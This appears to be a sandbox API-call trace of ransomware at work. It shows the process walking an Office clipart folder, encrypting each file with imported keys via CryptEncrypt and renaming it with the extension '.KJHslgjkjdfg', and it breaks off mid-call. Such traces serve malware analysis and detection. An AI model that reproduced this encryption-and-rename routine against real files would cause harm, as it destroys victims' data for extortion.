GetProcessHeap () returned 0x2ef0000 [0244.337] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0244.337] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0244.337] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0244.337] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x2, lpOverlapped=0x0) returned 1 [0244.339] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0244.339] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0244.339] GetProcessHeap () returned 0x2ef0000 [0244.339] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0244.339] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0244.339] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0244.339] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0244.340] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0244.340] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0244.340] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0244.340] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0244.340] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0244.340] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0244.341] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0244.341] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0244.341] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x7f4e, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x7f4e, lpOverlapped=0x0) returned 1 [0244.357] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x7f50, dwBufLen=0x7f50 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x7f50) returned 1 [0244.357] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0244.358] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x7f50, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x7f50, lpOverlapped=0x0) returned 1 [0244.358] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0244.358] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x8024, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0244.358] SetEndOfFile (hFile=0x130) returned 1 [0244.361] GetProcessHeap () returned 0x2ef0000 [0244.361] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0244.361] GetProcessHeap () returned 0x2ef0000 [0244.361] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0244.361] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02790_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02790_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02790_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02790_.wmf.kjhslgjkjdfg")) returned 1 [0244.363] CloseHandle (hObject=0x130) returned 1 [0244.363] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5aa8af30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x430c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO02791_.WMF", cAlternateFileName="")) returned 1 [0244.363] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02791_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02791_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0244.364] GetProcessHeap () returned 0x2ef0000 [0244.364] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0244.365] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0244.365] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0244.365] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0244.367] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0244.367] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0244.367] GetProcessHeap () returned 0x2ef0000 [0244.367] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0244.367] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0244.368] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0244.368] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0244.368] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0244.368] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0244.368] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0244.368] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0244.368] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0244.368] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0244.368] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0244.368] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0244.368] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x430c, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x430c, lpOverlapped=0x0) returned 1 [0244.369] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x4310, dwBufLen=0x4310 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x4310) returned 1 [0244.370] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0244.370] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x4310, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x4310, lpOverlapped=0x0) returned 1 [0244.370] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0244.370] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x43e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0244.370] SetEndOfFile (hFile=0x130) returned 1 [0244.373] GetProcessHeap () returned 0x2ef0000 [0244.373] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0244.373] GetProcessHeap () returned 0x2ef0000 [0244.373] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0244.373] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02791_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02791_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02791_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02791_.wmf.kjhslgjkjdfg")) returned 1 [0244.375] CloseHandle (hObject=0x130) returned 1 [0244.375] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79c77a00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5aa8af30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x79c77a00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x5b70, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO02793_.WMF", cAlternateFileName="")) returned 1 [0244.375] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02793_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02793_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0244.377] GetProcessHeap () returned 0x2ef0000 [0244.377] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0244.377] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0244.377] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0244.377] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0244.377] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0244.377] GetProcessHeap () returned 0x2ef0000 [0244.377] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0244.378] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0244.378] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0244.378] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0244.380] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0244.380] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0244.380] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0244.380] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0244.380] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0244.380] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0244.380] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0244.380] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0244.380] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x5b70, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x5b70, lpOverlapped=0x0) returned 1 [0244.381] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x5b70, dwBufLen=0x5b70 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x5b70) returned 1 [0244.381] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0244.382] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x5b70, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x5b70, lpOverlapped=0x0) returned 1 [0244.382] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0244.382] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x5c44, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0244.382] SetEndOfFile (hFile=0x130) returned 1 [0244.384] GetProcessHeap () returned 0x2ef0000 [0244.384] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0244.384] GetProcessHeap () returned 0x2ef0000 [0244.385] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0244.385] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02793_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02793_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02793_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02793_.wmf.kjhslgjkjdfg")) returned 1 [0244.386] CloseHandle (hObject=0x130) returned 1 [0244.386] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79c77a00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5aa8af30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x79c77a00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4b7a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO02794_.WMF", cAlternateFileName="")) returned 1 [0244.386] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02794_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02794_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0244.388] GetProcessHeap () returned 0x2ef0000 [0244.388] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0244.388] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0244.388] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0244.388] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x6, lpOverlapped=0x0) returned 1 [0244.390] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0244.390] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0244.390] GetProcessHeap () returned 0x2ef0000 [0244.390] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0244.390] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0244.390] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0244.390] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0244.391] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0244.391] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0244.391] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0244.391] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0244.391] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0244.391] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0244.391] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0244.391] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0244.391] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x4b7a, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x4b7a, lpOverlapped=0x0) returned 1 [0244.392] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x4b80, dwBufLen=0x4b80 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x4b80) returned 1 [0244.392] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0244.392] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x4b80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x4b80, lpOverlapped=0x0) returned 1 [0244.393] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0244.393] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x4c54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0244.393] SetEndOfFile (hFile=0x130) returned 1 [0244.395] GetProcessHeap () returned 0x2ef0000 [0244.395] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0244.396] GetProcessHeap () returned 0x2ef0000 [0244.396] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0244.396] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02794_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02794_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02794_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02794_.wmf.kjhslgjkjdfg")) returned 1 [0244.397] CloseHandle (hObject=0x130) returned 1 [0244.397] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79c77a00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d37e7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x79c77a00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1262e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO02862_.WMF", cAlternateFileName="")) returned 1 [0244.397] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02862_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02862_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0244.399] GetProcessHeap () returned 0x2ef0000 [0244.399] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0244.399] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0244.399] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0244.399] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x2, lpOverlapped=0x0) returned 1 [0244.401] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0244.401] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0244.401] GetProcessHeap () returned 0x2ef0000 [0244.401] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0244.401] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, 